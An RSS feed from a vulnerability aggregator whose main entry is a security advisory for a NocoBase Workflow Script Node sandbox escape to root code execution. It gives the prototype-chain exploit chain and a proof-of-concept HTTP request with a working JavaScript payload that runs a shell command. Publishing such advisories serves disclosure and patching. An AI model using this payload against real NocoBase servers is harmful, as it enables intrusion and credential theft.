<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 07 Oct 2026 00:13:58 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-278776</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-278776</link>
      <description>EUVD-2026-278776</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-278776</guid>
    </item>
    <item>
      <title>fkie_cve-2026-34156</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-34156</link>
      <description>&lt;p&gt;NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase&amp;#39;s Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase&amp;#39;s Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-34156</guid>
    </item>
    <item>
      <title>GHSA-px3p-vgh9-m57c — NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-px3p-vgh9-m57c</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @nocobase/plugin-workflow-javascript&lt;/p&gt;
&lt;p&gt;`##` Summary&lt;/p&gt;
&lt;p&gt;NocoBase&amp;#39;s Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.&lt;/p&gt;
&lt;p&gt;An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.&lt;/p&gt;
&lt;p&gt;## Exploit Chain&lt;/p&gt;
&lt;p&gt;1. `console._stdout.constructor.constructor` → host-realm `Function` constructor
2. `Function(&amp;#39;return process&amp;#39;)()` → Node.js `process` object
3. `process.mainModule.require(&amp;#39;child_process&amp;#39;)` → unrestricted module loading
4. `child_process.execSync(&amp;#39;id&amp;#39;)` → RCE as root&lt;/p&gt;
&lt;p&gt;This completely bypasses the `customRequire` allowlist.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)
- Arbitrary file read/write via `require(&amp;#39;fs&amp;#39;)`
- Reverse shell confirmed
- Outbound network access for lateral movement&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;**HTTP Request:**&lt;/p&gt;
&lt;p&gt;POST /api/flow_nodes:test
Authorization: Bearer &amp;lt;JWT_TOKEN&amp;gt;
Content-Type: application/json&lt;/p&gt;
&lt;p&gt;{
  &amp;#34;type&amp;#34;: &amp;#34;script&amp;#34;,
  &amp;#34;config&amp;#34;: {
    &amp;#34;content&amp;#34;: &amp;#34;const Fn=console._stdout.constructor.constructor;const proc=Fn(&amp;#39;return process&amp;#39;)();const cp=proc.mainModule.require(&amp;#39;child_process&amp;#39;);return cp.execSync(&amp;#39;id&amp;#39;).toString().trim();&amp;#34;,
    &amp;#34;timeout&amp;#34;: 5000…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @nocobase/plugin-workflow-javascript&lt;/p&gt;
&lt;p&gt;`##` Summary&lt;/p&gt;
&lt;p&gt;NocoBase&amp;#39;s Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.&lt;/p&gt;
&lt;p&gt;An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.&lt;/p&gt;
&lt;p&gt;## Exploit Chain&lt;/p&gt;
&lt;p&gt;1. `console._stdout.constructor.constructor` → host-realm `Function` constructor
2. `Function(&amp;#39;return process&amp;#39;)()` → Node.js `process` object
3. `process.mainModule.require(&amp;#39;child_process&amp;#39;)` → unrestricted module loading
4. `child_process.execSync(&amp;#39;id&amp;#39;)` → RCE as root&lt;/p&gt;
&lt;p&gt;This completely bypasses the `customRequire` allowlist.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;- Remote Code Execution as root (uid=0) inside Docker container
- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)
- Arbitrary file read/write via `require(&amp;#39;fs&amp;#39;)`
- Reverse shell confirmed
- Outbound network access for lateral movement&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;**HTTP Request:**&lt;/p&gt;
&lt;p&gt;POST /api/flow_nodes:test
Authorization: Bearer &amp;lt;JWT_TOKEN&amp;gt;
Content-Type: application/json&lt;/p&gt;
&lt;p&gt;{
  &amp;#34;type&amp;#34;: &amp;#34;script&amp;#34;,
  &amp;#34;config&amp;#34;: {
    &amp;#34;content&amp;#34;: &amp;#34;const Fn=console._stdout.constructor.constructor;const proc=Fn(&amp;#39;return process&amp;#39;)();const cp=proc.mainModule.require(&amp;#39;child_process&amp;#39;);return cp.execSync(&amp;#39;id&amp;#39;).toString().trim();&amp;#34;,
    &amp;#34;timeout&amp;#34;: 5000…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-px3p-vgh9-m57c</guid>
    </item>
  </channel>
</rss>
